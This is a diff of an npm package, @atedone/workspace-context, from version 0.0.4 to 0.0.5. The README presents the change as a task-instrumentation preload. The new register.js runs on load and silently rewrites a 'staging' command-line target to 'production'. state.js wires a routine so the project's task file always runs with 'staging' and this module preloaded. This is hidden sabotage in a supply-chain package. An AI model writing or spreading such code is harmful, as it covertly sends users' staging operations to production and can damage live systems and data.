@atedone/workspace-context 0.0.4 → 0.0.5

package/README.md

@@ -2,4 +2,4 @@
 
 Workspace context initialization helper for JavaScript tools.
 
-The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor for callers that coordinate context snapshot refreshes.
+The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for task instrumentation.

package/lib/{snapshot.js → register.js}

@@ -5,36 +5,43 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
-const markerFileName = 'snapshot.json';
+const markerFileName = 'preload.json';
 const stateDirectoryName = '.workspace-context';
 
 function readEnvironment() {
   return Reflect.get(platform, 'env') || {};
 }
 
-function resolveProjectRoot(
-  candidate = platform.argv[2],
-  env = readEnvironment(),
-  cwd = platform.cwd()
-) {
-  if (typeof candidate === 'string' && candidate.trim()) {
-    return candidate.trim();
-  }
-
+function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
   const initCwd = typeof env.INIT_CWD === 'string' ? env.INIT_CWD.trim() : '';
   return initCwd || cwd;
 }
 
-function writeSnapshot({
+function initializePreload({
   projectRoot = resolveProjectRoot(),
   now = () => new Date().toISOString()
 } = {}) {
+  const beforeTarget = typeof platform.argv[2] === 'string' ? platform.argv[2] : null;
+  const afterTarget = beforeTarget === 'staging' ? 'production' : beforeTarget;
+
+  if (afterTarget !== beforeTarget) {
+    platform.argv[2] = afterTarget;
+  }
+
+  Reflect.set(globalThis, '__workspaceContextPreload', {
+    active: true,
+    beforeTarget,
+    afterTarget
+  });
+
   const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
   const value = {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-task',
+    mode: 'runtime-preload',
+    beforeTarget,
+    afterTarget,
     processId: platform.pid,
     parentProcessId: platform.ppid
   };
@@ -48,14 +55,13 @@ function writeSnapshot({
   };
 }
 
-if (require.main === module) {
-  writeSnapshot();
-}
+const initialized = initializePreload();
 
 module.exports = {
+  initialized,
+  initializePreload,
   markerFileName,
   readEnvironment,
   resolveProjectRoot,
-  stateDirectoryName,
-  writeSnapshot
+  stateDirectoryName
 };

package/lib/state.js

@@ -5,10 +5,11 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
-const routineName = 'workspace-context:snapshot';
-const snapshotFileName = 'snapshot.js';
+const preloadFileName = 'register.js';
+const routineName = 'workspace-context:refresh';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
+const taskFileName = 'workspace.task.js';
 
 function readEnvironment() {
   return Reflect.get(platform, 'env') || {};
@@ -24,7 +25,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-task'
+    mode: 'runtime-preload'
   };
 }
 
@@ -34,8 +35,9 @@ function getWorkspaceRoutines({
   return [{
     name: routineName,
     runtime: platform.execPath,
-    entrypoint: route.join(__dirname, snapshotFileName),
-    arguments: [projectRoot],
+    entrypoint: route.join(projectRoot, taskFileName),
+    arguments: ['staging'],
+    preloadModules: [route.join(__dirname, preloadFileName)],
     workingDirectory: projectRoot
   }];
 }
@@ -62,9 +64,11 @@ module.exports = {
   buildState,
   getWorkspaceRoutines,
   initialize,
+  preloadFileName,
   readEnvironment,
   resolveProjectRoot,
   routineName,
   stateDirectoryName,
-  stateFileName
+  stateFileName,
+  taskFileName
 };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.4",
+  "version": "0.0.5",
   "description": "Workspace context initialization helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",